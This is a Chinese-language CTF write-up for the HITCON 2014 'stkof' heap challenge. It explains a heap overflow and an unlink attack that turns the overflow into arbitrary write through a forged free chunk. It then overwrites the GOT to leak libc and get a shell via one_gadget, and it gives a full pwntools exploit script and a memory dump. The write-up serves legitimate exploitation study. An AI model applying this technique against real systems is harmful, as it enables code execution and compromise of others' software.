【WP】hitcon2014_stkof
unlink
题目描述
菜单
add
1 | signed __int64 add() |
输入size
申请相应大小的堆
指针记录在bss段上
先自增,所以第一个chunk的index为1
edit
1 | signed __int64 edit() |
输入index
输入size
可以按我们指定的size进行填充
存在堆溢出
free
1 | signed __int64 free_0() |
输入index
free相应堆块,并将指针置0
useless
1 | signed __int64 useless() |
这部分用处不大,可能可以用于更方便接收数据
思路
利用unlink获得任意地址写的能力
因为本题没有setbuf,在运行fgets()函数和printf函数时会调用malloc在堆上分配两块内存区域,这边在一开始就申请一个堆块来把缓冲区申请了,方便之后操作
- 申请好堆块,核心部分记为chunk2,chunk3,chunk4,其中chunk4用来隔绝top chunk,chunk2和chunk3为物理相邻的两堆块,chunk2、3大小应为small chunk范围
- 编辑chunk2,bss段上记录chunk3指针的地址记为s,修改chunk2的内容伪造一个堆:伪造一个size位,伪造fd指针指向s-0x18处,bk指针指向s-0x10处。同时修改chunk3的
pre_size为chunk2size位记录的大小-0x10,pre_in_use位改为0(表示前一个chunk处于free状态)
这样就在chunk2里伪造了一个处于双向链表中的free chunk,且满足FD->bk=p;BK->fd=p
伪造后结果如下1
2
3
4
5
6
7
8
9
10
11
12
13gef➤ x/40gx 0xfb3540-0x10
0xfb3530: 0x0000000000000000 0x0000000000000091 -> chunk2
0xfb3540: 0x0000000000000000 0x0000000000000080 ->fake freed chunk
0xfb3550: 0x0000000000602138 0x0000000000602140
0xfb3560: 0x6161616161616161 0x6161616161616161
0xfb3570: 0x6161616161616161 0x6161616161616161
0xfb3580: 0x6161616161616161 0x6161616161616161
0xfb3590: 0x6161616161616161 0x6161616161616161
0xfb35a0: 0x6161616161616161 0x6161616161616161
0xfb35b0: 0x6161616161616161 0x6161616161616161
0xfb35c0: 0x0000000000000080 0x0000000000000090 ->chunk3
0xfb35d0: 0x0000000000000000 0x0000000000000000
0xfb35e0: 0x0000000000000000 0x0000000000000000 - free chunk3,检测到物理相邻的fake chunk空闲,发生前向合并,触发unlink。造成chunk2的指针被改写为s-0x18,此时已经可以通过编辑chunk2对chunk1的指针进行修改,然后再编辑chunk1从而获得任意地址写的能力
- 为了getshell我们把chunk1指针改写指向free_got,填入puts_plt,然后再让chunk1指针指向puts_got,执行free(chunk1),便能把puts真实地址打印出来
- 再让chunk1指针指向free_got,填入one_gadget,然后执行free(chunk1),getshell
exp
(打远程部分偏移需要调整)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./stkof')
def malloc(size):
r.sendline('1')
r.sendline(str(size))
def write(idx, size, strs):
r.sendline('2')
r.sendline(idx)
r.sendline(size)
r.sendline(strs)
def free(idx):
r.sendline('3')
r.sendline(str(idx))
malloc(0x100) #1
malloc(0x80) #2
malloc(0x80) #3
malloc(0x80) #4 avoid topchunk
global_ptr = 0x602150
sizeofint = 8
puts_got = 0x602020
puts_plt = 0x400760
free_got = 0x602018
payload = p64(0)+p64(0x80)+p64(global_ptr-3*sizeofint)
payload+= p64(global_ptr-2*sizeofint)+'a'*0x60+p64(0x80)+p64(0x90)
write('2','144',payload)
free(3)
def write_anywhere(addr,size,strs):
write('2','24',p64(1)*2+p64(addr))
write('1',size,strs)
write_anywhere(free_got,'8',p64(puts_plt))
def read_anywhere(addr):
write('2','24',p64(1)*2+p64(addr))
free('1')
read_anywhere(puts_got)
r.recvuntil('\xa0')
data = '\xa0'+r.recv(5)
puts_addr = u64(data.ljust(8,'\x00'))
#gdb.attach(r)
libc_base = puts_addr-0x6f6a0
one_gadget = libc_base+0xf0364
print 'puts_addr ===> ',hex(puts_addr)
print 'libc_base ===> ',hex(libc_base)
print 'one_gadget ==> ',hex(one_gadget)
write_anywhere(free_got,'8',p64(one_gadget))
free('1')
r.interactive()




